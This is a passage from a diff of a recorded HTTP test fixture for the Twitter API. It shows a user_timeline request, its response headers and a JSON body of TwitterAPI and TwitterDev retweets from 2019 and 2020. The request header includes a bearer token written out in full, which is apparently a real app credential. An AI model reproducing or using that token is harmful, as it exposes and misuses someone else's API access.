website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Jun 11 17:59:13 +0000 2019\",\"id\":1138505981460193280,\"id_str\":\"1138505981460193280\",\"text\":\"\\ud83c\\udfba da-dada-DAH! We\\u2019re introducing the first Twitter Developer Labs endpoints: \\n\\n\\u2728GET\\\/users and GET\\\/tweets \\u2728\\n\\nLabs is\\u2026 https:\\\/\\\/t.co\\\/HTpnpwCRMl\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/HTpnpwCRMl\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1138505981460193280\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":105,\"favorite_count\":255,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":105,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"}]" - } +[{ + "request": { + "method": "GET", + "url": "https:\/\/api.twitter.com\/1.1\/statuses\/user_timeline.json?screen_name=twitterapi", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "Bearer AAAAAAAAAAAAAAAAAAAAAFobAAAAAAAAjPes3FlPiFKh9HaIg%2Fw80waE0s8%3DQqxjhHDgZyjihGIK7olugzbpS0R1Gg8KNhzmer58a6oVbsSGc0", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "5813", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:10 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:10 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_KEOd+4RSJKhY\/zL1nJqQjA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107019843003; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read", + "x-app-rate-limit-limit": "100000", + "x-app-rate-limit-remaining": "99993", + "x-app-rate-limit-reset": "1587934974", + "x-connection-hash": "ed574879e196a7f193fd49c8b71c2056", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-rate-limit-limit": "1500", + "x-rate-limit-remaining": "1497", + "x-rate-limit-reset": "1587861581", + "x-response-time": "62", + "x-transaction": "00c660e200263b3e", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "[{\"created_at\":\"Mon Mar 23 22:14:35 +0000 2020\",\"id\":1242213180060758016,\"id_str\":\"1242213180060758016\",\"text\":\"RT @TwitterDev: As we work to keep our employees safe during COVID-19, you are likely to experience longer than usual review times for deve\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Mon Mar 23 22:01:13 +0000 2020\",\"id\":1242209814706438144,\"id_str\":\"1242209814706438144\",\"text\":\"As we work to keep our employees safe during COVID-19, you are likely to experience longer than usual review times\\u2026 https:\\\/\\\/t.co\\\/Oo1t07UH4Z\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Oo1t07UH4Z\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1242209814706438144\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":113,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":40,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Mon Mar 23 16:28:09 +0000 2020\",\"id\":1242125997081673728,\"id_str\":\"1242125997081673728\",\"text\":\"RT @TwitterDev: A few months ago, we added Tweet annotations to the Labs\\u2019 streaming endpoints. These annotations help uncover details about\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Mon Mar 23 16:26:08 +0000 2020\",\"id\":1242125486844604425,\"id_str\":\"1242125486844604425\",\"text\":\"A few months ago, we added Tweet annotations to the Labs\\u2019 streaming endpoints. These annotations help uncover detai\\u2026 https:\\\/\\\/t.co\\\/ViHyvQ4Y8S\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ViHyvQ4Y8S\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1242125486844604425\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1204497856679202816,\"quoted_status_id_str\":\"1204497856679202816\",\"quoted_status\":{\"created_at\":\"Tue Dec 10 20:27:22 +0000 2019\",\"id\":1204497856679202816,\"id_str\":\"1204497856679202816\",\"text\":\"You may have seen the recent announcement about following Topics on Twitter. Today, we\\u2019re excited to provide API su\\u2026 https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/ZlJUjmHIBe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1204497856679202816\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 04:35:55 +0000 2013\",\"favourites_count\":2182,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3540,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFFFFF\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/880136122604507136\\\/xHrnqf1T_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2244994945\\\/1498675817\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":91,\"favorite_count\":245,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"retweet_count\":32,\"favorite_count\":75,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":true,\"quoted_status_id\":1204497856679202816,\"quoted_status_id_str\":\"1204497856679202816\",\"retweet_count\":32,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Tue Mar 10 17:57:58 +0000 2020\",\"id\":1237437557337513984,\"id_str\":\"1237437557337513984\",\"text\":\"RT @TwitterDev: We \\u2764\\ufe0f the incredible research people do using Twitter data to study topics like spam, abuse, and other areas related to the\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"TwitterDev\",\"name\":\"Twitter Dev\",\"id\":2244994945,\"id_str\":\"2244994945\",\"indices\":[3,14]}],\"urls\":[]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":6253282,\"id_str\":\"6253282\",\"name\":\"Twitter API\",\"screen_name\":\"TwitterAPI\",\"location\":\"San Francisco, CA\",\"description\":\"The Real Twitter API. Tweets about API changes, service issues and our Developer Platform. Don't get an answer? It's on my website.\",\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/8IkCzCDr19\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\",\"display_url\":\"developer.twitter.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6084394,\"friends_count\":12,\"listed_count\":12763,\"created_at\":\"Wed May 23 06:01:13 +0000 2007\",\"favourites_count\":30,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":true,\"statuses_count\":3680,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/942858479592554497\\\/BbazLO9L_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/6253282\\\/1497491515\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":null,\"follow_request_sent\":null,\"notifications\":null,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Tue Mar 10 17:47:53 +0000 2020\",\"id\":1237435017883762689,\"id_str\":\"1237435017883762689\",\"text\":\"We \\u2764\\ufe0f the incredible research people do using Twitter data to study topics like spam, abuse, and other areas relate\\u2026 https:\\\/\\\/t.co\\\/NpF4h9DaSq\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/NpF4h9DaSq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1237435017883762689\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1237435016134656006,\"in_reply_to_status_id_str\":\"1237435016134656006\",\"in_reply_to_user_id\":2244994945,\"in_reply_to_user_id_str\":\"2244994945\",\"in_reply_to_screen_name\":\"TwitterDev\",\"user\":{\"id\":2244994945,\"id_str\":\"2244994945\",\"name\":\"Twitter Dev\",\"screen_name\":\"TwitterDev\",\"location\":\"127.0.0.1\",\"description\":\"The voice of Twitter's #DevRel team, and your official source for updates, news, & events about Twitter's API.\\n\\nNeed help? Visit https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/3ZX3TNiZCY\",\"expanded_url\":\"https:\\\/\\\/developer.twitter.com\\\/en\\\/community\",\"display_url\":\"developer.twitter.com\\\/en\\\/community\",\"indices\":[0,23]}]},\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/DVDf7qKyS9\",\"expanded_url\":\"http:\\\/\\\/twittercommunity.com\",\"display_url\":\"twittercommunity.com\",\"indices\":[129,152]}]}},\"protected\":false,\"followers_count\":507649,\"friends_count\":1808,\"listed_count\":1672,\"created_at\":\"Sat Dec 14 